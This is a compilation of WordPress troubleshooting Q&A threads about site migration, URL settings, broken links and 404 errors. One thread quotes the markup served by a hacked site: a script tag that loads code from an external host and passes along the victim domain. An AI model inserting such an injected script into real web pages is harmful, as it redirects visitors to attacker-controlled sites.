One wordpress website is always interpreting link to other wordpress site hosted on same VPS as an internal link - wordpress

So I work on this Wordpress website with an event calendar at work.
Another organization had a problem getting support from their hosting, so we migrated them to our VPS as a temporary solution.
Since that has happened, they've been submitting events to our calendar, with links going to their website.
However, Wordpress upon seeing those links systematically interprets them as internal links, and looks for the document locations within our own domain name and website (and obviously doesn't find them, resulting in broken links).
I was wondering if this issue had to do with Wordpress identifying the IP address of the other site as being local because it's on the same VPS, and then interpreting local as being part of the same site?
If so, how do I have to set up the hosting on the VPS to prevent that from happening?

So the problem was in adding links in the WYSIWYG editor, and the fact that they were providing urls in their form entries without the http:// component, and that the link automatically has http:// selected (highlighted in blue), so that if you just paste the links, and they are missing the http:// component, it will look for the url within the current domain.
Not sure if there is a config for that to prevent that hiccup, but a single stroke to the right arrow before pasting has solved everything.

Related

Website is showing another website on non-existent website page

This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.

How do I use relative links while developing a WordPress site on localhost?

I'm developing a WordPress site. I am testing locally using a WAMP server. The front page of the website has a missing picture. When I click on any link in the front page, it goes "online" (leaves localhost).
What do I have to do, while developing, to stay on localhost and have all relative links?
Did you import your website to localhost? if yes, then you might not have changed URLs of your website to localhost. You can do that by exporting SQL file of your website from phpmyadmin and then change all by any text editor and import it. If its hardcoded for all links then you need to go to each link and change it manually.
What you need to do is set up a local subdomain for your local site. There is a link below on how to achieve this. It is a little bit complicated with WAMP, but not very hard to do. This will mean that your website URL could be website.dev rather than localhost/website, which means that relative URLs will work. I personally use MAMP Pro rather than WAMP, because it allows you to easily set up and manage multiple local subdomains as well as some other handy features. Note that you would need to change your "siteurl" and "home" row values in the database table "wp_options" to the local subdomain if you want to do this on a local wordpress site you have already set up.
It is a bit hard to explain how to set up a local subdomain on here, so if this link ever breaks just google "setup local subdomains using Wamp".
http://www.axertion.com/tutorials/2012/03/how-to-setup-local-subdomains-using-wampserver/

wordpress move to localhost missing css

I'm trying to move a wordpress/buddypress web site to my local pc.
I created a virtual host with the exact same host name, copy the code and DB.
It works but every time I change the C:\Windows\System32\drivers\etc\hosts file to see the live original site, chrome miss-behave and get stuck.
So I tried to change the site domain on my local pc - I search&replace the code & db export from the site domain to my local domain (e.g. mydomain.com -> mydomainlocal.com), and I reinstall the DB.
The site is running but it seems to be missing some stuff - specifically design stuff, e.g. css is different, and logo display the site name instead of the logo.
It seems like the new domain name triggers a different configuration of the site, or a different theme.
Can someone please explain how to properly move a wordpress site localy with a local domain name?
I read some posts about this issue and it seems I was doing it right, I actually don't understand why the site looks different if I changed all reference both in the code and DB.
I'd suggest the problem lies with the fact you've performed a search and replace on the database.
WordPress serializes some data and by running a search and replace on it you'll have changed the lengths therefore breaking the serialization. Often things like theme options are stored in that way and will appear to reset when broken.
In order to update the URL you'll need a more advanced tool like: https://interconnectit.com/products/search-and-replace-for-wordpress-databases/
Further information: https://codex.wordpress.org/Moving_WordPress#Changing_Your_Domain_Name_and_URLs
First You must change domain name in database wp-options table
where option_name is suteurl and home
If not help, see in wordpress admin panel theme settings, some
themes have setting and in setting those can have url setting
In browser , in source you can find errors, and in errors you can see
not correct urls
I was able to solve it answer thanks to Nathan Dawson answer, here are the actual steps I did.
I switch back to the original DB (in wp-config.php),
setup the local host of the original domain mydomain.com (NOTE that I didn't delete the settings of the new local host - mydomainlocal.com)
In mydomain.com/wp-admin/options-general.php I changed the WordPress Address (URL) and Site Address (URL) to the new domain mydomainlocal.com
click save
After saving this settings the site redirects to the new domain immediately, but since I kept the setting of the new domain it worked, and the problem is solved.
EDIT - a quick and simple solution is simply change "siteurl" and "home" in the database table "wp_options" (through phpMyAdmin or similar)

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Wordpress - after upload on server 404 on all pages, no css

I have developed a wordpress based site using xampp 1.8.3. On my local machine all is wordìking fine. On the server I am using php 5.4.12.
On the server I copied the site on a subfolder name site, wich is the same subfolder name I had in xampp/htdocs. Then i changed all occurances of localhost to mydomain.com with the searchreplacedb2.php script (http://interconnectit.com/products/search-and-replace-for-wordpress-databases). I am confident that the tool is working properly and the issue does not depend on it as I have used it several other times with succcess.
Therefore since on my local machine the site was in localhost/site, on the hosting server is on mydomain.com/site.
The proble is that accessing the site home page produces a wordpress managed 404 page with no css being loaded. The title, menu and other site specific text is displayed, therefore the db is being read correctly. Trying to access any page other than the home page gets a webhost managed 404 page. This happens also if I try to access page through non symbolic urls, ei. mydomain.com/site/?page_id=5; therefore it is should not be a redirection issues.
what can be the issue? How can I proceed in troubleshooting it?
Thanks, in advance for your time.
You need to double check everything, first:
Flush the rewrite rules by visiting settings->permalinks then try your pages. Then try:
List item login to phpmyadmin for each domain, check out the database... options table... verify the "siteurl", and "home" columns. make sure they match the respective domains. Then try:
List itemCheck the DNS zone template. Could very well be possible DNS conflicts.

Resources